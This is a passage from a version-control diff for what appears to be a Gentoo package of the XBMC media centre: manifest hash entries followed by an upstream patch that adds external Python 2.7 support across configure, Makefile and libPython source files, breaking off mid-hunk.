b09e9072f0a2d4451588c40b0b300611944ba7d4cefbae0c400389ed9f8485dc SHA512 00ac9886e0cd03481672629ddd94f7a92996aa577daa24d71bc7abc5becdc6c1272ee1ff198ea3333f03cd206a25b2194b7f076232cec3b833cd042eb8a4867a WHIRLPOOL 9d03ae7488c5ffa9f9a3ceadc80626d57f807ac25da3efd37e57471e3c7b93afb3781c11486e97ab9634206642516513f1babc4b69435385a8ce57075e586541 +AUX xbmc-9999-arm-kill-softfp.patch 638 SHA256 40e70e18a658e839ef0b73644a4dda2a6acb30710f04ff049e38780d80ac58ad SHA512 0f99ad8437d140109d4c78b3986ce5ef3449ceea1150844e65ccc526a8ef49c6457c9a99a7ea48d3d8e55c82f683a35b139dae7c08e906f2d77331722260b2db WHIRLPOOL 0a1369d463bf7eb72a4505c16718cb176bca986b7803a5f424504e16e1bfbf51392d0c0f889c75da362ebebc9a3ccecbafa90ac7ff1ced3914675b6f280d139d +AUX xbmc-9999-libpng-1.5-fix-plt-trn-get.patch 1545 SHA256 cea0af47be10345a98fb262c4d5b75d0fd789741d60673288445e1afae80e73b SHA512 e8d071706f8975b9ee72ded98a4d2921b92cf18b3bce10ff745fce482b01d1eab7244eb9a10cb2c22eca1ec3492dba2510c6471966266a81e2728ea095603562 WHIRLPOOL 59c59b822b25fabacbd8a999844d83636a9821fd00f8cfe1a0710dc743f3ab37ed617921c3c98a3521dce12190aeb3bb51123eb8bfb00b9300873d773573be65 +AUX xbmc-9999-no-arm-flags.patch 542 SHA256 72164a8b91f3209cff06ea1a103580f827135951a7a798eefabc04ee1a6d3e84 SHA512 7d40be4bdef2a2b1e53f8b96c489a87ec67975ae486fb44e619d66c1b5333ad33f896f64cca4e1c8050c3d92cd6537a9ca776e743c88fc2c8cabea1eae62b4b5 WHIRLPOOL 7c6666198b7d987028925e0f578d71796f6541995aa87964de3275f6a087610ef69d630ac349500a7c534de213b8fbff4cca6c25c3d0e6f1b1d8cd89f27d3d9d +AUX xbmc-9999-no-exec-stack.patch 782 SHA256 0d3085458ff9c8c22f4dd406ee611d74909bb1dc2de4788b67e30cb5967c819f SHA512 2b7391955dfd5b987b5872ad1956b994f6387809d69281ff246755fb0fb85a7fed4216faa5f862a633ce9a7847013d813f23d31546126c8d0616b7217eb513e4 WHIRLPOOL 4da69df4a62d136e8a5a6e3e11102e2584e4fbcabed47bb5cc8bafc300ea4b979b996e469f6e59536370e27bbf9309eb9c5afc9f7bd4710fb950d5227bb38c94 +AUX xbmc-9999-nomythtv.patch 6190 SHA256 ffb1eb49f94b4ae41e5d79172499671915122a58af248b0585ee276e4aa2c87e SHA512 4a9ff4b4f5cb56c92932f05b5b812bee0fdce37ed9f568a6e0dc0cd62335e2131361a63d8026b64f9c7078fa9c4ef0e439b52234c722b1b854aeeed1cc2764c7 WHIRLPOOL ce457b509c6fd222ae6002420db7cc438e1352114f38790b623f04e6834eb5508d4609a1bf71628bfafde3bcef830e84b42448619c19227d5729d6d8a824a13c +DIST xbmc-10.1.tar.gz 130187822 SHA256 3403195b7eb1d076523f2394793b7f050df00743892b031f6fea86b998559d8a +DIST xbmc-11.0.tar.gz 63012044 SHA256 1fe5d310c16138f26e2b13bc545604e95f48ace6c8636f23e77da402cd7b0b19 +DIST xbmc-12.0.tar.gz 67176825 SHA256 53018cd014b5203df5e5ef4080931ef499d3740815f32d17dce92ef7d050c16f SHA512 37da579b055d4ea72cd18cf92541b47e6c42682091ef123baccdbce740b23842ac7c28eea032ada9a9c2232be034c7c4113ee8107ac3c7287834d08d4bcb67d6 WHIRLPOOL 6282dd7a728696c9a4577725d949d54992996d18a7b3c054c7d318b070fcad33efc4292afb83aa934c586cf718de67e294b2c498e491311b896e6a632cfa5b73 +EBUILD xbmc-10.1.ebuild 6173 SHA256 b2f407fec89fd9483763e996f8ff2c4c1560a43a567deb286864733eee1de9e0 SHA512 cf52a66cf74cdfe325392575cc8572c04158b162e3680708d6d4ec543a81d5711797a57052db4d308f0acc3e26bb4cf03cc6e9339136bf7b44f40e1753f042d3 WHIRLPOOL 74daaeba7dc990a45c58dce5c03fb0d6a649270b7a728b74f7c1a6ef4063aacb8bf774c7d521fecd702c2b7047619bb10af46baaeab64d5ddba1696f23bd36ad +EBUILD xbmc-11.0.ebuild 6033 SHA256 173fe31166bb69cf1b416c2ea2c5702652909cdeb3a6b41319be8b5705860c5c SHA512 acc46cc5f5cbc3a7c75c03f50a02b3fdb0824b9f0dce55db8dc15b8801d1540a867a5fc8056de1b82a54410575c685ead1d0d07f6e620947f80ec0880b5a5706 WHIRLPOOL 092b112933213f031b1ca45911dd0795855ca8181359ef7398119ec6cfab2f7d669cf68082ddae5330f875a7ed3c6df8003992ff1cc0be000df7bbab48f775cc +EBUILD xbmc-12.0.ebuild 6481 SHA256 b232410feb0c2715dc2b2e9ad9204f1e1f09a9237c0cc57b9a2f23f8a9e2b8d3 SHA512 65a1cac4a88b806ecc327cfec1ac3ef90dc73868a82c8ace3a47fcf5eb2b61f125d317646c096b671bc88f7814e08231ace11312e74e595a8c421696bd1982c3 WHIRLPOOL da70651c655c64ca82895236d11e1ae4462cce62809ab0338364b142bcd03c42c6d244c75591df381cc93bc9809d44b6f5f6a9a518fd52e150d4c520a21d2622 diff --git a/media-tv/xbmc/files/xbmc-10.0-python-2.7.patch b/media-tv/xbmc/files/xbmc-10.0-python-2.7.patch new file mode 100644 index 00000000..e3d17a5e --- /dev/null +++ b/media-tv/xbmc/files/xbmc-10.0-python-2.7.patch @@ -0,0 +1,768 @@ +patch from upstream + +https://bugs.gentoo.org/350098 + +From ab0f816c6307f38d7248d0469379c981f94b816d Mon Sep 17 00:00:00 2001 +From: ceros7 +Date: Mon, 30 Aug 2010 16:46:50 +0000 +Subject: [PATCH] Support external python2.7. + +git-svn-id: https://xbmc.svn.sourceforge.net/svnroot/xbmc/branches/python2.7@33342 568bbfeb-2a22-0410-94d2-cc84cf5bfa90 +--- + configure.in | 10 ++++++- + xbmc/lib/libPython/XBPyThread.cpp | 5 +++- + xbmc/lib/libPython/XBPyThread.h | 4 ++- + xbmc/lib/libPython/XBPython.cpp | 24 +++++++++++++++----- + xbmc/lib/libPython/XBPythonDll.cpp | 4 ++- + xbmc/lib/libPython/XBPythonDllFuncs.S | 4 ++- + xbmc/lib/libPython/linux/Makefile.in | 5 +++- + xbmc/lib/libPython/xbmcmodule/GUIPythonWindow.h | 4 ++- + xbmc/lib/libPython/xbmcmodule/PythonAddon.h | 4 ++- + xbmc/lib/libPython/xbmcmodule/PythonPlayer.h | 4 ++- + xbmc/lib/libPython/xbmcmodule/action.h | 4 ++- + xbmc/lib/libPython/xbmcmodule/control.h | 4 ++- + xbmc/lib/libPython/xbmcmodule/controlbutton.cpp | 4 ++- + xbmc/lib/libPython/xbmcmodule/controlcheckmark.cpp | 4 ++- + xbmc/lib/libPython/xbmcmodule/controlfadelabel.cpp | 4 ++- + xbmc/lib/libPython/xbmcmodule/controlgroup.cpp | 4 ++- + xbmc/lib/libPython/xbmcmodule/controlimage.cpp | 4 ++- + xbmc/lib/libPython/xbmcmodule/controllabel.cpp | 4 ++- + xbmc/lib/libPython/xbmcmodule/controllist.cpp | 4 ++- + xbmc/lib/libPython/xbmcmodule/controlprogress.cpp | 4 ++- + .../libPython/xbmcmodule/controlradiobutton.cpp | 4 ++- + xbmc/lib/libPython/xbmcmodule/controlslider.cpp | 4 ++- + xbmc/lib/libPython/xbmcmodule/controlspin.cpp | 4 ++- + xbmc/lib/libPython/xbmcmodule/controltextbox.cpp | 4 ++- + xbmc/lib/libPython/xbmcmodule/dialog.cpp | 4 ++- + xbmc/lib/libPython/xbmcmodule/dialog.h | 4 ++- + xbmc/lib/libPython/xbmcmodule/infotagmusic.h | 4 ++- + xbmc/lib/libPython/xbmcmodule/infotagvideo.h | 4 ++- + xbmc/lib/libPython/xbmcmodule/keyboard.h | 4 ++- + xbmc/lib/libPython/xbmcmodule/listitem.cpp | 4 ++- + xbmc/lib/libPython/xbmcmodule/listitem.h | 4 ++- + xbmc/lib/libPython/xbmcmodule/player.h | 4 ++- + xbmc/lib/libPython/xbmcmodule/pyplaylist.cpp | 4 ++- + xbmc/lib/libPython/xbmcmodule/pyplaylist.h | 4 ++- + xbmc/lib/libPython/xbmcmodule/pyutil.h | 4 ++- + xbmc/lib/libPython/xbmcmodule/window.h | 4 ++- + xbmc/lib/libPython/xbmcmodule/winxml.cpp | 4 ++- + xbmc/lib/libPython/xbmcmodule/winxml.h | 4 ++- + xbmc/lib/libPython/xbmcmodule/winxmldialog.cpp | 4 ++- + xbmc/lib/libPython/xbmcmodule/xbmcaddonmodule.cpp | 4 ++- + xbmc/lib/libPython/xbmcmodule/xbmcguimodule.cpp | 5 +++- + xbmc/lib/libPython/xbmcmodule/xbmcmodule.cpp | 4 ++- + 42 files changed, 149 insertions(+), 48 deletions(-) + +diff --git a/configure.in b/configure.in +index 4c0b1b7..cd3429e 100644 +--- a/configure.in ++++ b/configure.in +@@ -901,7 +901,11 @@ fi + + # External Python + if test "$use_external_python" = "yes"; then +- AC_CHECK_LIB([python2.6], [main], ++ AC_CHECK_LIB([python2.7], [main], ++ [AC_DEFINE([HAVE_LIBPYTHON2_7], [1], ++ [Define to 1 if you have the 'python2.7' library.]) ++ USE_PYTHON2_7=1], ++ [AC_CHECK_LIB([python2.6], [main], + [AC_DEFINE([HAVE_LIBPYTHON2_6], [1], + [Define to 1 if you have the 'python2.6' library.]) + USE_PYTHON2_6=1], +@@ -913,9 +917,10 @@ if test "$use_external_python" = "yes"; then + [AC_DEFINE([HAVE_LIBPYTHON2_4], [1], + [Define to 1 if you have the 'python2.4' library.]) + USE_PYTHON2_4=1], +- [AC_MSG_ERROR($missing_library)] )] )] ) ++ [AC_MSG_ERROR($missing_library)] )] )] )] ) + + AC_MSG_NOTICE($external_python_enabled) ++ test "$USE_PYTHON2_7" && AC_MSG_NOTICE([Using Python 2.7]) + test "$USE_PYTHON2_6" && AC_MSG_NOTICE([Using Python 2.6]) + test "$USE_PYTHON2_5" && AC_MSG_NOTICE([Using Python 2.5]) + test "$USE_PYTHON2_4" && AC_MSG_NOTICE([Using Python 2.4]) +@@ -1471,6 +1476,7 @@ AC_SUBST(USE_INTERNAL_LIBDTS) + AC_SUBST(USE_EXTERNAL_LIBMPEG2) + AC_SUBST(USE_EXTERNAL_LIBWAVPACK) + AC_SUBST(USE_EXTERNAL_PYTHON) ++AC_SUBST(USE_PYTHON2_7) + AC_SUBST(USE_PYTHON2_6) + AC_SUBST(USE_PYTHON2_5) + AC_SUBST(USE_PYTHON2_4) +diff --git a/xbmc/lib/libPython/XBPyThread.cpp b/xbmc/lib/libPython/XBPyThread.cpp +index 3a6f34e..71b4b9a 100644 +--- a/xbmc/lib/libPython/XBPyThread.cpp ++++ b/xbmc/lib/libPython/XBPyThread.cpp +@@ -24,7 +24,10 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #include + #elif (defined HAVE_LIBPYTHON2_5) +diff --git a/xbmc/lib/libPython/XBPyThread.h b/xbmc/lib/libPython/XBPyThread.h +index c3da337..eea7fea 100644 +--- a/xbmc/lib/libPython/XBPyThread.h ++++ b/xbmc/lib/libPython/XBPyThread.h +@@ -26,7 +26,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/XBPython.cpp b/xbmc/lib/libPython/XBPython.cpp +index e52cdfb..defcf14 100644 +--- a/xbmc/lib/libPython/XBPython.cpp ++++ b/xbmc/lib/libPython/XBPython.cpp +@@ -24,7 +24,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +@@ -61,7 +63,9 @@ XBPython g_pythonParser; + #define PYTHON_DLL "special://xbmcbin/system/python/python24-x86-osx.so" + #endif + #elif defined(__x86_64__) +-#if (defined HAVE_LIBPYTHON2_6) ++#if (defined HAVE_LIBPYTHON2_7) ++#define PYTHON_DLL "special://xbmcbin/system/python/python27-x86_64-linux.so" ++#elif (defined HAVE_LIBPYTHON2_6) + #define PYTHON_DLL "special://xbmcbin/system/python/python26-x86_64-linux.so" + #elif (defined HAVE_LIBPYTHON2_5) + #define PYTHON_DLL "special://xbmcbin/system/python/python25-x86_64-linux.so" +@@ -69,7 +73,9 @@ XBPython g_pythonParser; + #define PYTHON_DLL "special://xbmcbin/system/python/python24-x86_64-linux.so" + #endif + #elif defined(_POWERPC) +-#if (defined HAVE_LIBPYTHON2_6) ++#if (defined HAVE_LIBPYTHON2_7) ++#define PYTHON_DLL "special://xbmcbin/system/python/python27-powerpc-linux.so" ++#elif (defined HAVE_LIBPYTHON2_6) + #define PYTHON_DLL "special://xbmcbin/system/python/python26-powerpc-linux.so" + #elif (defined HAVE_LIBPYTHON2_5) + #define PYTHON_DLL "special://xbmcbin/system/python/python25-powerpc-linux.so" +@@ -77,7 +83,9 @@ XBPython g_pythonParser; + #define PYTHON_DLL "special://xbmcbin/system/python/python24-powerpc-linux.so" + #endif + #elif defined(_POWERPC64) +-#if (defined HAVE_LIBPYTHON2_6) ++#if (defined HAVE_LIBPYTHON2_7) ++#define PYTHON_DLL "special://xbmcbin/system/python/python27-powerpc64-linux.so" ++#elif (defined HAVE_LIBPYTHON2_6) + #define PYTHON_DLL "special://xbmcbin/system/python/python26-powerpc64-linux.so" + #elif (defined HAVE_LIBPYTHON2_5) + #define PYTHON_DLL "special://xbmcbin/system/python/python25-powerpc64-linux.so" +@@ -85,7 +93,9 @@ XBPython g_pythonParser; + #define PYTHON_DLL "special://xbmcbin/system/python/python24-powerpc64-linux.so" + #endif + #elif defined(_ARMEL) +-#if (defined HAVE_LIBPYTHON2_6) ++#if (defined HAVE_LIBPYTHON2_7) ++#define PYTHON_DLL "special://xbmc/system/python/python27-arm.so" ++#elif (defined HAVE_LIBPYTHON2_6) + #define PYTHON_DLL "special://xbmc/system/python/python26-arm.so" + #elif (defined HAVE_LIBPYTHON2_5) + #define PYTHON_DLL "special://xbmc/system/python/python25-arm.so" +@@ -93,7 +103,9 @@ XBPython g_pythonParser; + #define PYTHON_DLL "special://xbmc/system/python/python24-arm.so" + #endif + #else /* !__x86_64__ && !__powerpc__ */ +-#if (defined HAVE_LIBPYTHON2_6) ++#if (defined HAVE_LIBPYTHON2_7) ++#define PYTHON_DLL "special://xbmcbin/system/python/python27-i486-linux.so" ++#elif (defined HAVE_LIBPYTHON2_6) + #define PYTHON_DLL "special://xbmcbin/system/python/python26-i486-linux.so" + #elif (defined HAVE_LIBPYTHON2_5) + #define PYTHON_DLL "special://xbmcbin/system/python/python25-i486-linux.so" +diff --git a/xbmc/lib/libPython/XBPythonDll.cpp b/xbmc/lib/libPython/XBPythonDll.cpp +index bc9d827..87ac7d7 100644 +--- a/xbmc/lib/libPython/XBPythonDll.cpp ++++ b/xbmc/lib/libPython/XBPythonDll.cpp +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/XBPythonDllFuncs.S b/xbmc/lib/libPython/XBPythonDllFuncs.S +index 6b7a6c3..f59b192 100644 +--- a/xbmc/lib/libPython/XBPythonDllFuncs.S ++++ b/xbmc/lib/libPython/XBPythonDllFuncs.S +@@ -2,7 +2,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/linux/Makefile.in b/xbmc/lib/libPython/linux/Makefile.in +index 7011434..0786937 100644 +--- a/xbmc/lib/libPython/linux/Makefile.in ++++ b/xbmc/lib/libPython/linux/Makefile.in +@@ -5,7 +5,10 @@ LDFLAGS=@LDFLAGS@ + SHELL=/bin/bash + SYSDIR=../../../../system/python + +-ifeq (@USE_PYTHON2_6@,1) ++ifeq (@USE_PYTHON2_7@,1) ++ PYVERSION=python2.7 ++ SO=python27-$(ARCH).so ++else ifeq (@USE_PYTHON2_6@,1) + PYVERSION=python2.6 + SO=python26-$(ARCH).so + else ifeq (@USE_PYTHON2_5@,1) +diff --git a/xbmc/lib/libPython/xbmcmodule/GUIPythonWindow.h b/xbmc/lib/libPython/xbmcmodule/GUIPythonWindow.h +index 620d9bd..06fa146 100644 +--- a/xbmc/lib/libPython/xbmcmodule/GUIPythonWindow.h ++++ b/xbmc/lib/libPython/xbmcmodule/GUIPythonWindow.h +@@ -26,7 +26,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/PythonAddon.h b/xbmc/lib/libPython/xbmcmodule/PythonAddon.h +index ec7ed28..41eb8ea 100644 +--- a/xbmc/lib/libPython/xbmcmodule/PythonAddon.h ++++ b/xbmc/lib/libPython/xbmcmodule/PythonAddon.h +@@ -25,7 +25,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/PythonPlayer.h b/xbmc/lib/libPython/xbmcmodule/PythonPlayer.h +index ecee993..24a1c87 100644 +--- a/xbmc/lib/libPython/xbmcmodule/PythonPlayer.h ++++ b/xbmc/lib/libPython/xbmcmodule/PythonPlayer.h +@@ -25,7 +25,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/action.h b/xbmc/lib/libPython/xbmcmodule/action.h +index 0e20000..7f8b1bc 100644 +--- a/xbmc/lib/libPython/xbmcmodule/action.h ++++ b/xbmc/lib/libPython/xbmcmodule/action.h +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/control.h b/xbmc/lib/libPython/xbmcmodule/control.h +index c76b37c..a9ec63d 100644 +--- a/xbmc/lib/libPython/xbmcmodule/control.h ++++ b/xbmc/lib/libPython/xbmcmodule/control.h +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/controlbutton.cpp b/xbmc/lib/libPython/xbmcmodule/controlbutton.cpp +index b24ccce..7455ca7 100644 +--- a/xbmc/lib/libPython/xbmcmodule/controlbutton.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/controlbutton.cpp +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/controlcheckmark.cpp b/xbmc/lib/libPython/xbmcmodule/controlcheckmark.cpp +index 96e4743..86a7d8b 100644 +--- a/xbmc/lib/libPython/xbmcmodule/controlcheckmark.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/controlcheckmark.cpp +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/controlfadelabel.cpp b/xbmc/lib/libPython/xbmcmodule/controlfadelabel.cpp +index 68442d8..c6eb052 100644 +--- a/xbmc/lib/libPython/xbmcmodule/controlfadelabel.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/controlfadelabel.cpp +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/controlgroup.cpp b/xbmc/lib/libPython/xbmcmodule/controlgroup.cpp +index aadfc17..8275324 100644 +--- a/xbmc/lib/libPython/xbmcmodule/controlgroup.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/controlgroup.cpp +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/controlimage.cpp b/xbmc/lib/libPython/xbmcmodule/controlimage.cpp +index 79835d6..f106e90 100644 +--- a/xbmc/lib/libPython/xbmcmodule/controlimage.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/controlimage.cpp +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/controllabel.cpp b/xbmc/lib/libPython/xbmcmodule/controllabel.cpp +index aca22e4..38a9c07 100644 +--- a/xbmc/lib/libPython/xbmcmodule/controllabel.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/controllabel.cpp +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/controllist.cpp b/xbmc/lib/libPython/xbmcmodule/controllist.cpp +index 0c67b5c..bb57776 100644 +--- a/xbmc/lib/libPython/xbmcmodule/controllist.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/controllist.cpp +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/controlprogress.cpp b/xbmc/lib/libPython/xbmcmodule/controlprogress.cpp +index a21e462..b460a2a 100644 +--- a/xbmc/lib/libPython/xbmcmodule/controlprogress.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/controlprogress.cpp +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/controlradiobutton.cpp b/xbmc/lib/libPython/xbmcmodule/controlradiobutton.cpp +index ec54efd..b966a17 100644 +--- a/xbmc/lib/libPython/xbmcmodule/controlradiobutton.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/controlradiobutton.cpp +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/controlslider.cpp b/xbmc/lib/libPython/xbmcmodule/controlslider.cpp +index 21ea5e7..c5f65b3 100644 +--- a/xbmc/lib/libPython/xbmcmodule/controlslider.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/controlslider.cpp +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/controlspin.cpp b/xbmc/lib/libPython/xbmcmodule/controlspin.cpp +index 4e24e14..feead3c 100644 +--- a/xbmc/lib/libPython/xbmcmodule/controlspin.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/controlspin.cpp +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/controltextbox.cpp b/xbmc/lib/libPython/xbmcmodule/controltextbox.cpp +index b4c44d5..4a7c688 100644 +--- a/xbmc/lib/libPython/xbmcmodule/controltextbox.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/controltextbox.cpp +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/dialog.cpp b/xbmc/lib/libPython/xbmcmodule/dialog.cpp +index caa8986..cffe485 100644 +--- a/xbmc/lib/libPython/xbmcmodule/dialog.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/dialog.cpp +@@ -24,7 +24,9 @@ + #endif + #include "dialog.h" + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/dialog.h b/xbmc/lib/libPython/xbmcmodule/dialog.h +index edcae41..a61c4b1 100644 +--- a/xbmc/lib/libPython/xbmcmodule/dialog.h ++++ b/xbmc/lib/libPython/xbmcmodule/dialog.h +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/infotagmusic.h b/xbmc/lib/libPython/xbmcmodule/infotagmusic.h +index d202e48..590b858 100644 +--- a/xbmc/lib/libPython/xbmcmodule/infotagmusic.h ++++ b/xbmc/lib/libPython/xbmcmodule/infotagmusic.h +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/infotagvideo.h b/xbmc/lib/libPython/xbmcmodule/infotagvideo.h +index f2bb300..e808573 100644 +--- a/xbmc/lib/libPython/xbmcmodule/infotagvideo.h ++++ b/xbmc/lib/libPython/xbmcmodule/infotagvideo.h +@@ -23,7 +23,9 @@ + 